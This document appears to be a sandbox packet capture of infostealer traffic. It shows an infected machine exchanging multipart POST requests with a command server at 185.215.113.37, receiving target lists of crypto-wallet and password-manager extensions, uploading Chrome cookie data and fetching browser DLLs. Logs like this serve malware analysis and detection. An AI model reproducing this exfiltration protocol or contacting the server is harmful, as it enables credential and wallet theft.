Oct 8, 2024 22:32:00.883846998 CEST	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Oct 8, 2024 22:32:00.883882046 CEST	248	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Oct 8, 2024 22:32:00.884165049 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 35 74 62 47 39 70 61 6d 4a 77 62 32 78 6c 61 57 46 74 59 58 77 78 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 78 6c 64 48 Data Ascii: IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXB
Oct 8, 2024 22:32:00.884218931 CEST	224	IN	Data Raw: 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 78 74 61 33 42 6c 5a 32 70 72 59 6d 78 72 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 Data Ascii: bWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBi
Oct 8, 2024 22:32:00.884352922 CEST	444	IN	Data Raw: 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 52 38 63 47 56 75 61 6d 78 6b 5a 47 70 72 61 6d 64 77 62 6d 74 73 62 47 4a 76 59 32 4e 6b 5a 32 4e 6a 5a 57 74 77 61 32 4e 69 61 57 35 38 4d 58 Data Ascii: Y2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV
Oct 8, 2024 22:32:00.886110067 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIIEGHDGDBFIDGHDAF Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 2d 2d 0d 0a Data Ascii: ------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="message"fplugins------HIIIIEGHDGDBFIDGHDAF--
Oct 8, 2024 22:32:01.118858099 CEST	335	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:01 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 8, 2024 22:32:01.152460098 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJ Host: 185.215.113.37 Content-Length: 7455 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 22:32:02.269149065 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 22:32:02.270196915 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 22:32:02.561383963 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 22:32:02.791455984 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:02 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 8, 2024 22:32:03.734756947 CEST	1236	IN	DELETE FROM '%q'.'%q_data' WHERE id>=? AND id<=?SELECT %sno such function: %s%lld %lld%d %d %d %d <b>...</b></b><b>\2a+2a2a1a1acompressuncompress_content__langidtokenizeunrecognized matchinfo: %sascdescunrecognized order: %sunrecognized parameter: %scontenterror parsing prefix parameter: %smissing %s parameter in fts4 constructordocid,%s(x.'c%d%q')langid, x.%Q, x.'%q' FROM '%q'.'%q%s' AS x,%s(?), ?docid INTEGER PRIMARY KEY%z, 'c%d%q'%z, langidCREATE TABLE %Q.'%q_content'(%s)CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);%Q, %z%Q, CREATE TABLE x(%s %Q HIDDEN, docid HIDDEN, %Q HIDDEN)prefixorderlanguageidnotindexedWaWaXaXaXaXaXaSELECT 0, 'tbl', '', 0, '', 1 UNION ALL SELECT 1, 'idx', '', 0, '', 2 [TRUNCATED] Data Raw: Data Ascii:
Oct 8, 2024 22:32:04.326967955 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCA Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------BAFIEGIECGCBKFIEBGCA--
Oct 8, 2024 22:32:05.048345089 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 22:32:05.150804043 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJ Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="file"------BAEHIEBGHDAFIEBGIEHJ--
Oct 8, 2024 22:32:05.878310919 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 22:32:06.587048054 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCBKECAKFBGCAKECGIE Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 39 32 62 34 65 32 32 63 34 34 31 63 66 64 34 35 31 34 66 33 62 62 34 64 65 37 34 37 37 34 32 34 30 32 30 65 39 35 33 37 65 35 34 38 62 62 62 66 38 38 31 36 30 37 62 66 34 34 36 30 63 62 66 35 38 32 34 63 66 33 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="token"692b4e22c441cfd4514f3bb4de7477424020e9537e548bbbf881607bf4460cbf5824cf3a------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="file"------DGCBKECAKFBGCAKECGIE--
Oct 8, 2024 22:32:07.316658020 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 22:32:07.847364902 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 22:32:08.146243095 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 22:32:08.403959036 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 8, 2024 22:32:09.259963036 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 22:32:09.490061045 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:09 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 8, 2024 22:32:09.965440035 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 22:32:10.195692062 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 8, 2024 22:32:10.521430969 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 22:32:10.752664089 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 20:32:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 8, 2024 22:32:12.270276070 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
